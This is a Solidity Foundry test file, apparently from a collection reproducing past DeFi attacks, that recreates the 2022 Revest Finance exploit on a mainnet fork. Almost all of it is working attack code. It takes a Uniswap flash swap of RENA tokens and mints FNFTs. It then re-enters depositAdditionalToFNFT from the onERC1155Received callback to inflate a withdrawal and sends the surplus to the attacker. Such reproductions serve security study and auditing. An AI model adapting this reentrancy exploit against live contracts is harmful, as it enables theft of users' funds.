src/test/2022-03/Revest_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol v0.5.3. SEE SOURCE BELOW. !!
3pragma solidity >=0.7.0 <0.9.0;
4 
5import "forge-std/Test.sol";
6import "./../interface.sol";
7 
8contract ContractTest is Test {
9    IUniswapV2Pair pair = IUniswapV2Pair(0xbC2C5392b0B841832bEC8b9C30747BADdA7b70ca);
10    IERC20 rena = IERC20(0x56de8BC61346321D4F2211e3aC3c0A7F00dB9b76);
11    IRevest revest = IRevest(0x2320A28f52334d62622cc2EaFa15DE55F9987eD9);
12    uint256 fnftId;
13    bool reentered = false;
14    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
15 
16    function setUp() public {
17        cheats.createSelectFork("mainnet", 14_465_356); //fork mainnet at 14465356
18    }
19 
20    function testExploit() public {
21        emit log_named_uint("Before exploit, Rena balance of attacker:", rena.balanceOf(msg.sender));
22        pair.swap(5 * 1e18, 0, address(this), new bytes(1));
23        emit log_named_uint("After exploit, Rena balance of attacker:", rena.balanceOf(msg.sender));
24    }
25 
26    function uniswapV2Call(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public {
27        rena.approve(address(revest), type(uint256).max);
28        IRevest.FNFTConfig memory fnftConfig;
29        fnftConfig.asset = address(rena);
30        fnftConfig.pipeToContract = 0x0000000000000000000000000000000000000000;
31        fnftConfig.depositAmount = 0;
32        fnftConfig.depositMul = 0;
33        fnftConfig.split = 0;
34        fnftConfig.depositStopTime = 0;
35        fnftConfig.maturityExtension = false;
36        fnftConfig.isMulti = true;
37        fnftConfig.nontransferrable = false;
38 
39        address[] memory recipients = new address[](1);
40        uint256[] memory quantities = new uint256[](1);
41        recipients[0] = address(this);
42        quantities[0] = uint256(2);
43        fnftId = revest.mintAddressLock(address(this), new bytes(0), recipients, quantities, fnftConfig);
44        quantities[0] = uint256(360_000);
45        revest.mintAddressLock(address(this), new bytes(0), recipients, quantities, fnftConfig);
46 
47        revest.withdrawFNFT(fnftId + 1, 360_000 + 1);
48 
49        rena.transfer(msg.sender, ((((amount0 / 997) * 1000) / 99) * 100) + 1000);
50        rena.transfer(tx.origin, rena.balanceOf(address(this)));
51    }
52 
53    function onERC1155Received(
54        address operator,
55        address from,
56        uint256 id,
57        uint256 value,
58        bytes calldata data
59    ) public returns (bytes4) {
60        if (id == fnftId + 1 && !reentered) {
61            reentered = true;
62            revest.depositAdditionalToFNFT(fnftId, 1e18, 1);
63        }
64        return this.onERC1155Received.selector;
65    }
66}